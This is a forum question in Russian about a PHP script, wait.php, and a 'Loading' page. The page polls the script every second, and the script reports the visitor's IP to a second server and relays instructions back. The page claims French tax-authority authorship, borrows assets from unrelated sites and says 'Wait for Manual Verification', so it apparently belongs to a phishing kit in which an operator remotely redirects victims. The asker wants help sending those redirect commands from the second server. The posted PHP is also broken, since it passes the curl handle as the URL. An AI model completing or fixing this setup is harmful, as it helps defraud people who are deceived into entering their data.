У меня есть этот простой скрипт на сервере server1 для получения инструкции от сервера server2
файл wait.php:
<?php
$serv2 = 'http://server2.com/data/';
function GET($url)
{
$curl = curl_init();
curl_setopt($curl,CURLOPT_URL,$curl);
curl_setopt($curl,CURLOPT_RETURNTRANSFER,true);
curl_setopt($curl,CURLOPT_HEADER, false);
$output=curl_exec($curl);
curl_close($curl);
return $output;
}
$ip = getenv("REMOTE_ADDR");
echo GET("".$serv2."get.php?user=$ip&do=next");
?>
и это моя страница загрузки:
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr-FR" lang="fr-FR">
<head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" />
<meta http-equiv="Pragma" content="no-cache" />
<meta name="author" content="Direction Générale des Finances Publiques" />
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" type="text/css" href="http://madhaveduversity.com/css/c.css" />
<link rel="stylesheet" type="text/css" href="http://madhaveduversity.com/css/a.css" />
<link rel="stylesheet" type="text/css" href="http://madhaveduversity.com/css/b.css" />
<title>Loading</title>
</head>
<body class="loading-body">
<script type="text/javascript">
$( document ).ready(ajouterControleHTML5);
</script>
<script type="text/javascript">
function loadlink(){
$('#waiting').load('wait.php',function () {
$(this).unwrap();
});
}
loadlink(); // This will run on page load
setInterval(function(){
loadlink() // this will run after every 5 seconds
}, 1000);
</script>
<div id="waiting"></div>
<header class="header">
<div class="container">
<div class="row">
<div class="col-md-4">
</div>
</div>
</div>
</header>
<div id="ctn-login" class="container loading-container">
<div class="loading-text">
<span class="loading-text-ch">Wait for Manual Verification...</span>
</div>
<p class="loading-text-please-wait">You will automatically be redirected to your panel After 5 minutes.
<br><br >Thank you for waiting...</p>
<div class="loading-icon">
<img src="https://paytm.com/new-img/loading-large.gif">
</div>
</div>
<div id="foot-mentions" class="footer text-center">
</p>
</div></body>
</html>
моя проблема: я не знаю, как отправить запрос на публикацию в wait.php, чтобы дать ему инструкции по перенаправлению этого пользователя на его панель инструментов после того, как я проверил его вручную.
примечание: этот почтовый запрос будет отправлен с server2, что означает отдельный сервер.